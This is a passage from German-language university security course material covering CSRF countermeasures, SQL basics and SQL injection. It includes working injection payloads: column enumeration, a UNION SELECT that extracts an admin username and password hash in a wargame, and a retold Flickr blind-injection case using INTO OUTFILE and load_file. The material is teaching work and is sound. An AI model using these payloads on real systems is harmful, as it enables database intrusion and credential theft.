oft sehr lang und komplex. Dazu nutzt man im Browser am besten die Statusleiste in der der Link in seiner vollen Länge angezeigt wird. Sollte ein Angreifer einen URL Shortener benutzen kann man auf Dienste zurückgreifen die die dahinter liegende URL auflösen ohne die Webseite zu laden, zum Beispiel longurl.org 3 • Mails sollten nicht in HTML Format anzeigt werden. Das gilt gerade dann, wenn man die Mails über eine Weboberfläche abruft, da sich so der HTML Code schon im Browserkontext befindet. Hier ist die reine Textform zu bevorzugen, da so kein HTML Code automatisch geladen wird. Das stoppt CSRF Angriffe die zum Beispiel in den <img> Tags versteckt sind. • Man sollte auf Webanwendungen nur angemeldet sein solang man sie nutzt. Da die meisten CSRF Angriffe sich auf Session Cookies stützen, funktionieren sie ohne aktive Session nicht mehr. Daraus folgt, dass man auf Komfortfunktionen wie ”Angemeldet bleiben” oder ”Anmeldung merken” verzichten sollte. • Verschiedene Browser für verschiedene Aufgaben. Für sehr sensible Tätigkeiten, wie Onlinebanking, sollte ein extra Browser benutzt werden. Wenn man dies strikt trennt können keine bösartigen Links, auf die man beim alltäglichen surfen treffen kann, in Kontakt zu sensiblen Webseiten oder Daten kommen. • Javascript im Browser deaktivieren. Dies verkleinert die Angriffsfläche da XSS basierte CSRF Angriffe nicht mehr greifen. Allerdings funktionieren die anderen Techniken weiterhin und man muss im heutigen Web sehr starke Einschränkungen hinnehmen, weshalb dies nicht mehr praktikabel scheint. Möchte man sich darüber hinaus schützen gibt es noch die Möglichkeit durch Erweiterungen seinen Browser zu härten. Hier ist zu aller erst NoScript 4 zu nennen. Daneben existieren unter anderem für den Firefox Browser noch RequestPolicy 5 oder CsFire 6 . Die Addons versuchen das Problem auf verschiedene Arten zu lösen. NoScript unterscheidet zwischen vertrauenswürdigen und nicht vertrauenswürdigen Seiten. Wird nun von einer nicht vertrauenswürdigen Seite ein POST Request an eine vertrauenswürdige Seite ausgelöst entfernt NoScript den Inhalt aus den Parametern. CsFire entfernt bei fraglichen Requests die Session Cookies oder den Authentication Header. RequestPolicy geht hingegen sehr restriktiv vor und verbietet Cross-Site Requests komplett wenn sie nicht von einer Seite kommt die auf der Whitelist stehen. 3.6 Serverseitige Gegenmaßnahmen Auf der Serverseite gilt ebenfalls, dass Antivirenprogramme oder eine Firewall keine Schutz vor CSRF Angriffe bieten. Allerdings gibt es hier gute Möglichkeiten seine Webanwendung zu schützen. 3 http://longurl.org/ 4 http://noscript.net/ 5 https://www.requestpolicy.com/ 6 https://distrinet.cs.kuleuven.be/software/CsFire/ Seite 43 Seite 44 Studienbrief 3 Cross-Site Request Forgery Die Aufgabe besteht nun darin eine verlässliche Möglichkeit zu finden valide Anfragen eines Benutzer von den unlegitimierten zu unterscheiden. Eine naheliegende Möglichkeit ist es den Referrer Fielding et al. [1999] zu nutzen. Bei dem Referrer handelt es sich um ein optionales HTTP Header Feld, das anzeigt von welcher Seite der Benutzer zur Aktuellen gelangt ist. In der Theorie macht das den Referrer zu einer gute CSRF Gegenmaßnahme, denn sollte ein Benutzer eine Funktion aufrufen, obwohl der Referrer nicht auf die eigene Seite verweist, so ist es sehr unwahrscheinlich, dass es sich hierbei legitime Anfrage handelt, da der User vorher zumindest mal die Startseite aufgerufen haben sollte. Es gibt aber einen Grund, der gegen den Referrer als Erkennungsmerkmal für einen CSRF Angriff spricht. Es gibt Plugins oder Proxys die ganz bewusst den Referrer manipulieren. Dies dient unter anderem dem Datenschutz der User. Auch ist es denkbar, dass ein User das Überweisungsformular in seinen Favoriten gespeichert hat. All diese Punkte würde aber bei Webseiten, die den Referrer als Erkennungsmerkmal einsetzen, zu ”false positives” führen. Aus diesem Grund ist vom Referrer als alleinige CSRF Gegenmaßnahme abzuraten. Eine weitere Möglichkeit wäre, dass die Webseite nur HTTP-POST Anfragen akzeptiert. Prinzipiell ist das keine schlechte Idee, da so auch keine Informationen in der URL geleakt werden. Diese Maßnahme verhindert CSRF Angriffe, die per GET-Request arbeiten. Allerdings bietet sie keinen vollständigen Schutz. Denn ein Angreifer kann auf einer von ihm kontrollierten Webseite den POST Request in einem verstecktes Formular nachbauen und per Javascript automatisch vom Browser abschicken lassen. Eine ebenso ungenügende Schutzmaßnahme sind ”Secret Cookies”, da sie, genau wie jedes andere Cookie automatisch mitgesendet werden. Auch das Absichern über mehrstufigen Aktionen bietet keinen Schutz, solange der Angreifer die Abfolge erraten oder ableiten kann. Nun werden wirksame Gegenmaßnamen, die CSRF Angriffe verhindern können, vorgestellt. Hier ist zu aller erst das CSRF Token zu nennen. Dabei handelt es sich um eine zufällige Zeichenkette, sehr ähnlich dem Cookie. Allerdings wird dieses Token nicht automatisch mitgesendet, da es sich hierbei im einen extra Parameter handelt. Diesen Parameter befindet sich in einem Hidden Feld innerhalb des HTML Codes. Die Idee dahinter ist, dass die Anfragen der User nur von der Webseite akzeptiert werden, wenn er das richtige CSRF Token mitsendet. Dazu wird dem User, sobald er die Webseite besucht, von dieser ein Token zugewiesen. Die Webseite merkt sich nun welches Token zu welchem User und seinem Cookie gehört. Sendet der User nun eine neue Anfrage muss er das passende Token zurückschicken. Die Webseite überprüft nun erst ob das gesendete Token zu der User Session passt. Ist dies der Fall so führt sie die Anfrage aus, ansonsten wird sie verworfen. Da ein Angreifer dieses Token nun nicht kennen kann, werden die von ihm initiierten Anfrage verworfen, da entweder kein oder ein falsches Token mitgesendet wird. Der Browser sendet das Token automatisch in einem versteckten Formular Feld wieder zurück an die Webseite. Praktisch könnte dieses Feld folgendermaßen aussehen: <input type="hidden" name="csrf_token" value="ZTNi [...] g1NQ=="/> 3.6 Serverseitige Gegenmaßnahmen Es gibt verschiedene Möglichkeiten ein solches Token zu bilden und einzusetzen. Zum einen kann es zufällig vom Server generiert werden und in dem HiddenFeld an den User übertragen werden. Hier kann dann noch unterschieden werden ob das Token für die gesamte Session gültig bleibt oder ob für jede Anfrage ein Neues generiert wird und es dann immer nur für eine Anfrage Gültigkeit besitzt. Die erhöht theoretisch die Sicherheit, da, sollte es einen Angreifer doch gelungen sein an das Token zu gelangen, er dies nur einmal einsetzen kann oder es schon verfallen ist, da der User in der Zwischenzeit schon neue Anfrage getätigt hat. Eine weitere Möglichkeit Burns [2007] ein Token zu bilden wäre ein wie folgt aufgebauter HMAC der Browser gebildet und mit der Anfrage an die Webseite gesendet wird. HMAC_sha1(action_name + secret, session_id) Da nur der Server weiß welche Aktion der User auf der Webseite ausgelöst hat, welche SessionID er besitzt und welches Geheimnis die beiden zuvor ausgehandelt haben ist er der einzige neben dem User, der ebenfalls den HMAC darüber bilden und so das Token verifizieren kann. Allerdings gibt es auch einige Punkte bezüglich der Token zu beachten. Zum einen sollte das Token immer in den POST Daten übertragen werden, da es in den GET Daten, also der URL, zu leicht von dritten entwendet werden kann. Zum Beispiel aus den Lesezeichen des Browsers oder dem Referrer Feld. Auch sollte es am besten nur über verschlüsselte Verbindungen ausgetauscht werden, da es so schwerer wird es zu entwenden. Wichtig ist außerdem das alle zufälligen Werte wirklich zufällig sind und nicht etwa pro User oder Anfrage hochgezählt werden da ein Angreifer diese sonst erraten könnte. Die wichtigste Voraussetzung für ein funktionierendes CSRF Token ist wohl das die Webseite keine XSS Schwachstellen aufweist, da ein Angreifer sonst über diese das Token auslesen und in seinen Angriff integrieren könnte. Eine weitere Möglichkeit ist das sogenannte Double Submit Cookie. Dabei weist die Webseite dem User nicht nur ein Session Cookie sonder zusätzlich ein CSRF Cookie zu. Beide Cookies werden natürlich bei jedem Request des User im HTTP Header mit übertragen. Allerdings fügt der User sein CSRF Cookie bei einer von ihm initiierten Anfrage ebenfalls als verstecktes Formularfeld ein. Die Webseite kann nun das erhaltene Cookie mit dem Inhalt aus dem Formular abgleichen um festzustellen ob es sich um eine legitime Anfrage handelt. Dieses Verfahren funktioniert da ein Angreifer nicht im Besitz des CSRF Cookies ist. Führt er nun einen Angriff aus schickt der User zwar sein CSRF Cookie im HTTP Header mit aber im versteckten Formularfeld ist kein oder das falsche Cookie hinterlegt da der Angreifer dies nun in seinen Angriff einbauen konnte. Neben diesen Token basierten Lösungen können Webseitenbetreiber noch den Origin HTTP Header Check Barth et al. [2009] einführen. Dieser ähnelt sehr stark dem Referre Feld wurde allerdings es extra als Sicherheitsfeature entworfen. Bei einigen Webseitenfunktionen kann man auch extra Hürden und Anna Kobylinska [2010] in Form von CAPTCHA oder eine erneute Passwortabfragen einbauen. Dies schränkt allerdings die Benutzbarkeit der Webseite ein weshalb es nur bei den wirklich kritischen Funktionen zum Einsatz kommen sollte. Außerdem sollte schon bei dem Design einer Webseite darauf geachtet werden, dass man dem User immer die Möglichkeit gibt sich auszuloggen, damit so die Seite 45 Seite 46 Studienbrief 3 Cross-Site Request Forgery Session ungültig wird. Außerdem sollte man die Lebenszeit der Session Cookies begrenzen. Studienbrief 4 SQL-Injection Seite 47 Studienbrief 4 SQL-Injection 4.1 Lehrziele Sie können die wichtige Angriffstechnik SQL-Injection erläutern und darstellen, wie durch solche Angriffe Schaden entstehen kann. Dieser Studienbrief erweitert [Schwenk, 2014, Kapitel 11.2]. Datenbanken sind heutzutage ein wichtiger Bestandteil in unserer Gesellschaft. Auch wenn diese kaum wahrgenommen werden, sind wir extrem abhängig von ihnen. Durch unvorsichtiges Vorgehen seitens des Entwicklers entstehen Sicherheitslücken, welche von Angreifern ausgenutzt werden können, sodass ein großer Schaden entsteht. Ziel dieser Seminararbeit ist dem Leser die Grundlagen von Datenbanken zu erklären, Gefahren an einem expliziten Beispiel aufzudecken, sowie die Probleme bei unsicherer Programmierung zu analysieren und zu lösen. 4.2 Datenbank im Allgemeinen und ihre Verwendung Um das grundlegende Konzept von Datenbanken zu verstehen, wird hier das Beispiel eines Supermarktes verwendet. Früher wurde der Preis eines Artikels direkt auf diesen aufgeklebt. Stattdessen findet man heute lediglich einen standardisierten EAN-Code auf der Verpackung, welcher für den Verbraucher nicht lesbar ist. Wird der Artikel nun an der Kasse eingescannt, gibt diese den Namen und den Preis aus. Das Ganze funktioniert, weil der Einzelhändler eine Datenbank einsetzt. Dabei muss aber differenziert werden, was Datenbanken sind, da diese eigentlich Abb. 4.1: Altes Preisetikett kai [2014] zwei verschiedene Bedeutungen haben: a) die Datensammlung selbst, oder auch Datenbank (DB) b) die Software, welche diese Daten verwaltet “Database Management System” (DBMS) Der 2. Punkt wird näher im nächsten Unterkapitel erläutert. In der Datensammlung hingegen können unterschiedlichste Sachen gespeichert werden. Hier wird Seite 48 Studienbrief 4 SQL-Injection Abb. 4.2: EAN Code ean [2014] aber wiederrum in der Regel unterschieden, um welche Art Daten es sich handelt. Dazu gehören beispielsweise: Stammdaten langfristige, statische Informationen. Zum Beispiel Personaldaten, Produkte usw. Bewegungsdaten dynamisch, stets veränderliche Daten. Körpertemperatur, Kon- tostand. Rechendaten zur Berechnungsgrundlage. Preise, Zinssätze. Ordnungsdaten zuständig für Filterung. Postleitzahlen, KFZ-Kennzeichen. Auf Grund dieses Potential werden Datenbanken nahezu überall eingesetzt. So zum Beispiel auch im Internet, um Benutzerdaten zu verwalten oder Webshops mit Artikeln zu pflegen. Dies bietet für Cyberkriminelle eine große Angriffsfläche, worüber diese Arbeit detailliert informieren wird. 4.3 Datenbankmanagementsysteme Es gibt verschiedene Modelle zur Strukturierung eines DBMS. Dazu zählen z.B hierarchisch, netzwerkartige, objektorientierte, dokumentorientierte oder relationale Vorhergehensweisen. Diese einzelnen Strukturen werden hier nicht näher erläutert, ausgenommen relationale Datenbanken, da diese die Datenbanksprache SQL benutzen. In einer relationalen Datenbank werden Daten in Tabellen mit fester Spaltenzahl, aber variabler Zeilenanzahl gespeichert. Diese Tabellen können miteinander verknüpft werden, falls diese ein gemeinsames Datenelement besitzen Laudon and Schoder [2010]. Umgesetzt wird eine Beziehung durch “Schlüssel”. Es gibt einen Primärschlüssel, welcher als Wert in ein Feld in der verknüpften Tabelle eingetragen wird. Ein Fremdschlüssel ist dann das Feld in der anderen Tabelle, auf den der Primärschlüssel zeigt. Man erkennt sehr gut, dass beide Tabellen die Spalte Lieferantennummer beinhalten, also existiert eine Verknüpfung. In der ersten Tabelle ist diese Spalte folglich der Primärschlüssel und in der Zweiten der Fremdschlüssel. Es wird zwischen verschiedenen Herstellern [Abbildung 4.4] von DBMS unterschieden. Diese benutzen zwar alle SQL, jedoch gibt es einige Unterschiede bezüglich der Interfaceprogrammierung, Größe, Plattformkompatibilität usw. 4.4 Syntax/Keywords von SQL Seite 49 Abb. 4.3: Verknüpfungen einzelner Tabellen Laudon and Schoder [2010] Zusätzlich werden im Verlauf der Arbeit, weitere Begriffe aus verschiedenen Bereichen verwendet, welche dennoch die selbe Bedeutung haben. Eine Übersicht sieht man in [Tabelle 4.1]. Relational Relation Tupel Attribut SQL Tabelle Zeile Spalte Datei-Organisation Datei Datensatz Feld 4.4 Syntax/Keywords von SQL Grundlegend unterscheidet man zwischen vier verschiedenen Kategorien von SQL-Befehlen. Data Manipulation Language(DML) um Daten zu manipulieren. Hierzu zählen Lö- schen(Delete), Ändern(Update) und Einfügen(Insert). Data Definition Language(DDL) beschreibt bzw. definiert Datenstrukturen. Data Control Language(DCL) zur Rechteverwaltung, sowie Datenschutz. Data Retrieval Language(DRL) zur Datenabfrage (SELECT, JOIN, WHERE) Im Folgenden werden Teile DRL näher betrachtet. Dabei handelt es sich ausschließlich um sogenannte Abfragen(Queries), welche nicht case sensitive sind. Die Funktionen werden zur Übersicht dennoch groß geschrieben. Die Zeilenlänge spielt ebenso keine Rolle. Wichtig ist, dass der Abfrage mit einem “;” endet. Wenn man das Beispiel aus 1.1 mit dem Supermarkt und dem EAN-Code benutzt könnte eine mögliche SQL Abfrage beim scannen wie folgt aussehen. Tabelle 4.1: äquivalente Begriffe aus unterschiedlichen Bereichen Seite 50 Studienbrief 4 SQL-Injection Abb. 4.4: verschiedene Hersteller von RDBMS 1 SELECT * 2 FROM Artikel 3 WHERE EanCode = ’9783540345329’; Quelltext 4.1 Im Endeffekt würden nun alle Spalten, sowie Zeilen des Artikels ausgegeben werden, wo der EAN-Code gleich 9783540345329 ist. Der Grundaufbau einer SELECT Anweisung sieht wie folgt aus, wobei Anweisungen in “[]” optional sind. 1 2 SELECT [rechenoperation|funktionsauswahl] 3 spaltenname 4 FROM tabelle 5 [WHERE bedinungen] 6 [GROUP BY spalten] 7 [HAVING aggregatfunktionen] 8 [ORDER BY spalte [ASC] [DESC] 9 [LIMIT [Anfang][Zeilenanzahl]] Quelltext 4.2 Kommentare sind in SQL durch - - (für Zeilenkommentare) oder mit /* Kommentar */ über mehreren Zeilen realisierbar. Zum Besseren Verständnis folgen nun weitere Beispiele. 1 SELECT * FROM Artikel;/* gibt alle Spalten aus. Da die Auswahl nicht weiter eingegrenzt wurde, werden zusaetzlich alle Zeilen von der Tabelle Artikel ausgegeben */ Quelltext 4.3 4.4 Syntax/Keywords von SQL Seite 51 Bei der Klasse Artikel könnte dies z.B der Preis, der Name oder die Nummer sein. Wenn nicht alles ausgegeben werden soll, kann man diese Abfrage auch eingrenzen, indem man Spalten auswählt, die man nur benötigt. 1 SELECT Preis, Name 2 FROM Artikel; -- hier wuerde nur die Spalte Preis und Name ausgegeben werden. Quelltext 4.4 Man kann sich auch nur die Zeilen ausgeben lassen, welche beispielsweise durch Namen gefiltert wurden. 1 SELECT Name, Preis 2 FROM Artikel 3 Where Name = ’Milch’;/* Dies gibt dann die Zeilen aus, welche Milch als Titel beinhalten mit der Spalte Preis und Name.*/ Quelltext 4.5 Zusätzlich gibt es noch den LIKE Operator. Dieser wird benutzt, wenn man nicht den exakten String des zu suchenden Datensatz kennt. 1 SELECT Name 2 FROM Artikel 3 WHERE Name LIKE ’F%’;-- ’%’ steht fuer eine beliebige Zeichenkette. Moegliche Ausgabe: Milch, Mehl usw. Quelltext 4.6 Um unnötiges Suchen zu ersparen, lässt sich die Ausgabe auch sortiert ausgeben. 1 SELECT * FROM Artikel 2 ORDER BY Name ASC -- ASC bedeutet ascending (aufsteigend), DESC waere absteigend Quelltext 4.7 Mit dem UNION Befehl lassen sich mehrere SELECT Anweisungen kombinieren, so dass diese in einer Query untergebracht werden können. Dies ist nützlich, wenn beispielsweise Daten aus unterschiedlichen Tabellen ausgegeben werden sollen. 1 SELECT Name, Preis 2 FROM Artikel 3 UNION 4 SELECT Anschrift, PLZ 5 FROM Kunde 6 --hier wuerde nun der Name und Preis aller Artikel, sowie die Anschrift und PLZ aller Kunden ausgegeben werden. Quelltext 4.8 Auch boolesche Logik lässt sich realisieren. 1 OR 1=1-- Quelltext 4.9 Seite 52 Studienbrief 4 SQL-Injection Wie man sieht, sind die Abfragen prinzipiell leicht zu verstehen, da die Funktionen bzw. Methoden sehr treffende Namen haben. Deshalb wird an dieser Stelle auf weitere Beispiele verzichtet und auf [Abbildung 4.5] verwiesen. Abb. 4.5: weitere SQL Anweisungen Steiner 4.5 Aufbau von Web Applikationen Da diese Arbeit sich mit SQL-Injectionen im Bezug auf Web Umgebungen versteht, muss noch oberflächlich erklärt wie diese funktionieren. Stellen wir uns einen großen Webshop vor, welcher eine Menge von Verwaltungsaufgaben (User, Produkte, Logistik, Kaufabwicklung usw.) hat. Um dies zu realisieren setzt man auf ein vier Schichten (Tier) Modell. Dazu gehören Presentation Tier, Logic Tier, Application Tier und die Datenbank(DB) [Abbildung 4.6]. Nimmt man nun an, dass ein Benutzer im Webbrowser (Presentation Abb. 4.6: Grundlegender Aufbau einer Web Applikation Clarke [2012] Tier) einen Onlineshop mit http://www.einwebshop.de aufruft. Der Webserver im Logic Tier lädt daraufhin das Script vom Dateisystem und gibt dieses an die Scipting Engine weiter, wo dieses analysiert und ausgeführt wird. Dann wird eine Programmierschnittstelle aufgerufen, welche die Verbindung zur Datenbank herstellt. Diese leitet dann die angeforderten Daten über die vorherige Kette zurück, sodass diese dann letztendlich im Presentation Tier als Webpräsenz dargestellt werden. 4.6 HTTP Requests Den Schritt zwischen dem Presentation Tier und dem Logic Tier wollen wir noch einmal genauer betrachten. Damit diese sich untereinander verstehen benötigen 4.7 Einführung SQL-Injection Seite 53 wir das HTTP Protokoll. Wenn zum Beispiel ein Client eine Anfrage(Request) an den Server sendet, dann unterscheiden wir zwischen unterschiedlichen Methoden. GET fordert eine Ressource vom Server an, meistens werden diese an die URL direkt gehängt. POST sind im Gegensatz zum GET längenunbegrenzt. Die Daten werden im Bo- dy Teil übermittelt. Wird meistens beim Formularen mit mehreren Eingaben verwendet. PUT erzeugt Ressource auf dem Server. DELETE löscht eine Ressource vom Server. HEAD fragt lediglich den Header an. OPTIONS fragt die angebotenen Request Methoden vom Server ab. Der Punkt, wo ein Angreifer ansetzt, ist der GET oder POST Request, da diese beim einfachen “browsen” verwendet werden. Beide Methoden lassen sich einfach verändern, sodass beliebige Eingaben möglich sind. 4.7 Einführung SQL-Injection Man spricht von einer SQL-Injection, wenn ein Dritter es schafft in SQL Queries eigenen Code einzuschleusen (engl. inject) und ausführen zu lassen. SQL-Injection lässt sich zusammenfassend in drei verschiedene Teile aufteilen. Inband Daten werden auf dem gleichen Kanal ausgelesen, auf dem auch die SQL- Injection stattfindet. Out-of-Band Daten werden über einen anderen Kanal ausgelesen. Das Ergebnis der Query könnte bspw. als E-Mail verschickt werden. Inferential oder Blind es findet kein Datentransfer statt. Vielmehr versucht der An- greifer das Verhalten bzw. die Veränderungen der Webseite zu analysieren, wenn verschiedene Abfrage gesendet werden. Eine Injection ist in jeder Umgebung vorstellbar, wo ein Datenbanksystem eingesetzt wird. In dieser Arbeit wird auf die Webumgebung fokussiert. Dennoch ist es beispielsweise möglich, bösartigen EAN-Code zu kreieren, welcher dann beim Einscannen ausgeführt wird. Ein einfaches Beispiel für eine SQL-Injection in einer Webumgebung, ist der Aufruf der Webpräsenz www.einwebshop.de/artikel.php?id=2, welche einen Artikel mit der ID 2, mit dem dazugehörigen Preis und der Beschreibung anzeigt. Der ausgeführte SQL Aufruf sieht dann wie folgt aus: 1 SELECT id,preis,beschreibung FROM artikel WHERE id=’2’; Quelltext 4.10 Wird dieser Aufruf zu www.einwebshop.de/artikel.php?id=2’ verändert, wird auch ein andere Query ausgeführt. Diese lautet: Seite 54 Studienbrief 4 SQL-Injection 1 SELECT id,preis,beschreibung FROM artikel WHERE id=’2’’; Quelltext 4.11 Durch das Einfügen des Hochkommas (’) hinter der “2”, wird die SQL Syntax verletzt. Oftmals wird nun eine Fehlermeldung ausgegeben, was jedoch optional ist. Dies erweckt fälschlicherweise den Eindruck, dass die Webpräsenz vor SQLInjection geschützt ist. Ein beispielhafter Error sieht wie folgt aus: 1 Could not successfully run query (SELECT id,preis,beschreibung FROM artikel WHERE id = ’2’’) from DB You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’’ at line 1. Quelltext 4.12 Auf Grund solch eines Errors, weiß dann der Angreifer, dass die Eingabe vom DBMS ausgeführt wurde und somit eigener Code eingeschleust werden kann. Die Folgen durch Injection sind immens, da nun beliebige Code ausgeführt werden kann, was einem Dritten die vollständige Kontrolle über das Datenbanksystem eines Unternehmen gibt. Denkbar wäre jetzt z.B der Diebstahl von sensiblen Kundendaten (Kreditkarteninformationen, Passwörter etc.) oder gar die komplette Datenbank zu löschen. Im Folgenden wird das Extrahieren des Administrator Passwortes an Hand eines Wargames näher erläuter war [2014]. Beim Aufruf der Seite http://www.enigmagroup.org/missions/basics/ sql/2/index.php?id=1 wird die Webpräsenz eines Programmierers angezeigt. Der ID Parameter in der URL lässt vermuten, dass ein Datenbanksystem zur Verwaltung einesetzt wird. Mit Hilfe des Hochkommas wird wiederrum versucht, die SQL Syntax zu verletzen. Daraufhin wird folgende Fehlermeldung ausgegeben: 1 Could not successfully run query (SELECT * FROM ‘news‘ WHERE ‘id‘ = 1’) from DB: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’’ at line 1. Quelltext 4.13 Das System ist also anfällig für Injection. Die Meldung gibt auch noch zusätzlich die Information, dass offensichtlich eine Tabelle mit dem Namen “news” existiert. Damit Daten ausgelesen werden können, muss erst in Erfahrung gebraucht werden, wie viele Spalten die Tabelle “news” hat. Es bieten sich dazu zwei verschiedene Vorgehensweisen an, welche beide auf dem “Try and Error” Prinzip basieren. Die erste Methode ist die Verwendung des ORDER BY Befehls. Dabei wird die Spaltenanzahl bis zu einer Fehlermeldung inkrementiert. Dementsprechend ist die letzte funktionierende Sortierung die richtige Spaltenanzahl. Angewendet auf das Beispiel sieht dies wie folgt aus: 1 http://www.enigmagroup.org/missions/basics/sql/2/index.php?id=1 ORDER BY 1 2 http://www.enigmagroup.org/missions/basics/sql/2/index.php?id=1 ORDER BY 2 3 http://www.enigmagroup.org/missions/basics/sql/2/index.php?id=1 ORDER BY 3 4 http://www.enigmagroup.org/missions/basics/sql/2/index.php?id=1 ORDER BY 4 Quelltext 4.14 Bei der Sortierung nach Spalte 4 erscheint daraufhin die Fehlermeldung, dass diese Spalte nicht existiert. 4.8 die Flickr Sicherheitslücke 1 Seite 55 Could not successfully run query (SELECT * FROM ‘news‘ WHERE ‘id‘ = 1 ORDER BY 4) from DB: Unknown column ’4’ in ’order clause’. Quelltext 4.15 Offensichtlich hat die Tabelle “news” drei Spalten. Die zweite Methode ist die Verwendung des UNION SELECT Befehls. Dadurch, dass keine explizite Tabelle (“FROM”) nach dem UNION SELECT angegeben wird, wird sich wiederrum auf die Tabelle “news” bezogen. Da im ersten Teil der Query immer alle (“SELECT *”) Spalten ausgewählt werden, erscheinen Fehlermeldungen, wenn wir keine drei Spalten auswählen. 1 Could not successfully run query (SELECT * FROM ‘news‘ WHERE ‘id‘ = 1 UNION SELECT 1,2) from DB: The used SELECT statements have a different number of columns Quelltext 4.16 Jetzt ist es möglich die Userdaten zu extrahieren. Das einzige Problem ist, dass der Angreifer nicht weiß, wie die Tabelle heißt, wo diese Daten abgespeichert sind. Abhängig vom eingesetzten RDBMS gibt es aber Funktionen, welche alle Tabellennamen ausgeben. Jedoch werden meistens dass ein Namen verwendet, welche den Inhalt der Tabelle beschreiben. In diesem Beispiel handelt es sich um Benutzerdaten, weshalb mögliche Tabellennamen z.B “Kundendaten, Userdaten, Member, User, Users etc.” wären. Durch Probieren stellt sich raus, dass eine Tabelle mit dem Namen “Users” existiert. Die zugehörigen Spaltennamen lassen sich ebenfalls erraten. Um jetzt z.B das Kennwort des Administrators zu erlangen verwenden wir die Spaltennamen “Username, Password, Id”. Des Weiteren benutzen wir den WHERE Befehl, um die Ergebnisse zu filtern. Der folgende Befehl gibt das Passwort und den Benutzernamen des Users mit der ID=1 aus. 1 http://www.enigmagroup.org/missions/basics/sql/2/index.php?id=-1 UNION SELECT 1, username,password from users WHERE ID=1 Quelltext 4.17 Wie man erkennt ist der Hashwert des Passwort vom Administrator “6537d34fd1c080b5cb7f06dde3a26fe8” [Abbildung 4.7]. Abb. 4.7: Extrahieren von Benutzerdaten 4.8 die Flickr Sicherheitslücke Nachdem die Grundlagen nun erläutert wurden, folgt ein reales Beispiel von einer Sicherheitslücke vom 15. April 2014, veröffentlicht von Imbrahim Raafat. Diese zeigt, dass der Fotodienst Flickr beim Check-Out anfällig für Blind SQL Injection war. Herr Raafat hat diese auf Video you [2014] dokumentiert. Hier werden nun Seite 56 Studienbrief 4 SQL-Injection einzelne Screenshots von der Aufzeichnung folgen, welche dann genauer erläutert werden. Zuerst wird die Seite www.flickr.com aufgerufen, eine Bestellung aufgegeben und ein Formular mit belanglosen Nutzerdaten ausgefüllt [Abbildung 4.8]. Dies wird dann abgeschickt und ein Browser Addon für die HTTP Header Ausgabe wird geöffnet. Dort sieht man, wie das HTTP Protokoll mit der POST Methode Abb. 4.8: Check-Out von Flickr die Daten an die Flickr API weitergegeben hat. 1 order_id=114428733&first_name=dhd&last_name=hddh&street1=dhdf%20st&street2=rt%20 street&city=toto&state=vv&postal_code=11475&country_code=US&phone=656565651& method=flickr.products.orders.setShippingAdress&csrf=1395452848%3 Alupta29dmjx20529%3A5b1a65b4115727be2d77002759769da3&api:key= a216eb6223a4e1ecb16a2dcafb0ea1cf&format=json&hermes=1&hermesClient=1&reqId=4 wk7wuw&nojsoncallback=1 Quelltext 4.18 Danach wird die Abfrage so verändert, dass die Syntax ungültig ist (s. Kapitel 1.6). Dazu benutzt Raafat ein auch Hochkomma und platziert dieses hinter der Order ID, sodass folgende Fehlermeldung erscheint. 1 {"stat";"Fail","code";1,"message":"Order not found."} Quelltext 4.19 Die Meldung, dass die Bestellung nicht gefunden wurde, gibt Aufschluss, dass Benutzereingaben nicht gefiltert werden. Denn hier wurde explizit nach der Bestellung mit der ID “ 114428733‘ ” gesucht. Wenn anstatt des Hochkomma die Abfrage durch “AND 1=1” logisch wahr wird, erscheint folgende Ausgabe. 1 {"order_info":{"is_valid_address":"false", "order_id":"114428733","user_id":" 11947581@N02", "date_update":null, "cost_total": null,"cost_shipping":null, " cost_tax":null, "ship_method":null, "shipping_adress":{"shipping_adress_id": null, "fist_name":"dhdf", "last_name":"hddh","street1":"dhdf st", "street2": " rt street", "city":"toto", "state":"vv", "postal_code":"11475", "country_code": "US", "phone":"656565651"}}, "stat":"ok"} Quelltext 4.20 Jetzt wurde der ganze Input des HTTP POST ausgegeben, da nun die Order ID mit der angefügten “AND 1=1” Bedingung als Query gesendet wurde. Wenn das 4.9 Prepared Statements Seite 57 “1=1” z.B durch “1=2” ersetzt wird, wird die Bedinung wieder unwahr und das RDBMS findet erneut die Bestellung nicht. Als nächstes muss in Erfahrung gebracht werden, wie viele Spalten die obige Abfrage hat. Dies lässt sich durch einfaches iterieren der Spaltenzahl realisieren. Man inkrementiert bis die erste Fehlermeldung angezeigt wird. Dabei hat man zwei Möglichkeiten. Die erste ist dies mit der Sortierung (“order by”) zu realisieren oder mit “UNION”, womit man zwei SELECT Befehle verbinden kann. Raafat nutzt hier die erste Variante. 1 order_id=114428733 ORDER BY 10 Quelltext 4.21 Durch probieren erkennt man, dass ab “16” wieder der Fehler erscheint. Dementsprechend hat die Tabelle 15 Spalten. Um zu zeigen, dass eine Injection funktioniert, muss zuerst eine nicht existierende Order ID aufgerufen werden. Dies geschieht durch setzen eines “-” vor der Order ID. Anschließend wird die erste Spalte zum Injizieren verwendet. 1 order_id=-116564954 UNION SELECT "@RaafatSEC",2,3,4,5,6,7,8,9,10,11,12,13,14,15 INTO OUTFILE "/tmp/raafat"-- Quelltext 4.22 Es wird also in dem Temp Verzeichnis eine Textdatei mit dem Inhalt @RaafatSEC geschrieben. Um zu verifizieren, dass dies funktioniert, wird anschließend die load_file Funktion benutzt. 1 order_id=-116564954 UNION SELECT load_file("/tmp/raafat") ,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- Quelltext 4.23 Diese Abfrage gibt dann den Dateiinhalt in der ersten Spalte (also der Order ID) aus. 1 {"order_info":{"is_valid_address":"false", "order_id":"@RaafatSEC".........} <!-Gekuerzt zur Ueberschaulichkeit --> Quelltext 4.24 Kleine Textdateien abgelegt auf einen Server ist nicht sonderlich gefährlich für den Betreiber. Doch durch die Tatsache, dass Code injizierbar ist, ist der Impact des Angriffs enorm, da man so vollständige Kontrolle über die Datenbank erhalten kann. Herr Raafat erzählt in seinem Blog pwn [2014], dass er zusätzlich noch das Root Passwort der Datenbank ausgelesen hat, sowie einige Tabellen gelöscht hat. In diesem Kapitel werden Möglichkeiten zum Schutz vor SQL-Injection untersucht. Dabei gilt als goldene Regel immer “never trust user data”. Wichtig für deren Implementierung ist, dass diese dynamische SQL Generierung verhindern. 4.9 Prepared Statements Die Parameter in der Abfrage werden vor der Ausführung auf ihre Gültigkeit überprüft. Dies erhöht nicht nur die Sicherheit, sondern steigert auch die Performance. Grund dafür sind SQL-Templates und Platzhalter, da diese nur einmal interpretiert werden und lediglich die entsprechenden Platzhalter 